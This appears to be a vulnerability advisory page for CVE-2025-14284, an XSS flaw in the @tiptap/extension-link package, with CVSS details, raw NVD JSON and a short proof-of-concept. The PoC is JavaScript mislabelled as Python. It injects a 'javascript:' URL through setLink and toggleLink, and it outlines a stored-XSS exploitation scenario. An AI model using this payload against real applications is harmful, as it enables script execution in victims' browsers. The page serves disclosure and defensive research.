Security Vulnerability Report
中文
CVE-2025-14284 CVSS 6.1 MEDIUM

CVE-2025-14284

Published: 2025-12-09 16:17:38
Last Modified: 2026-04-29 01:00:02

Description

Versions of the package @tiptap/extension-link before 2.10.4 are vulnerable to Cross-site Scripting (XSS) due to unsanitized user input allowed in setting or toggling links. An attacker can execute arbitrary JavaScript code in the context of the application by injecting a javascript: URL payload into these attributes, which is then triggered either by user interaction.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:tiptap:tiptap\/extension-link:*:*:*:*:*:node.js:*:* - VULNERABLE
@tiptap/extension-link < 2.10.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-14284 PoC - @tiptap/extension-link XSS // This PoC demonstrates how to inject javascript: URL in link extension const { Editor } = require('@tiptap/core'); const Link = require('@tiptap/extension-link'); // Create editor with vulnerable link extension const editor = new Editor({ extensions: [ Link.configure({ openOnClick: false, HTMLAttributes: { rel: 'noopener noreferrer', }, }), ], content: '<p>Click the link below:</p>', element: document.querySelector('#editor'), }); // Attack payload - inject javascript: URL as link // When clicked, this will execute arbitrary JavaScript const maliciousPayload = 'javascript:alert("XSS Vulnerability - CVE-2025-14284")'; // Method 1: Set link via commands editor.chain().focus().setLink({ href: maliciousPayload }).run(); // Method 2: Toggle link with malicious URL editor.chain().focus().toggleLink({ href: maliciousPayload }).run(); // Generated HTML will contain: // <a href="javascript:alert('XSS Vulnerability - CVE-2025-14284')">...</a> // Exploitation scenario: // 1. Attacker inserts the malicious link into editor content // 2. Content is saved/stored (stored XSS) // 3. Victim views the content containing the malicious link // 4. Victim clicks the link or it auto-triggers // 5. JavaScript code executes in victim's browser context console.log('Generated HTML:', editor.getHTML());

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14284", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:17:37.657", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Versions of the package @tiptap/extension-link before 2.10.4 are vulnerable to Cross-site Scripting (XSS) due to unsanitized user input allowed in setting or toggling links. An attacker can execute arbitrary JavaScript code in the context of the application by injecting a javascript: URL payload into these attributes, which is then triggered either by user interaction."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.0, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:tiptap:tiptap\\/extension-link:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2.10.4", "matchCriteriaId": "01B5A4C8-D270-4A92-840F-029A658ED5C3"}]}]}], "references": [{"url": "https://gist.github.com/th4s1s/3d1b6cd3e7257b14947242f712ec6e1f", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/ueberdosis/tiptap/commit/1c2fefe3d61ab1c8fbaa6d6b597251e1b6d9aaed", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/ueberdosis/tiptap/releases/tag/v2.10.4", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://security.snyk.io/vuln/SNYK-JS-TIPTAPEXTENSIONLINK-14222197", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://gist.github.com/th4s1s/3d1b6cd3e7257b14947242f712ec6e1f", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}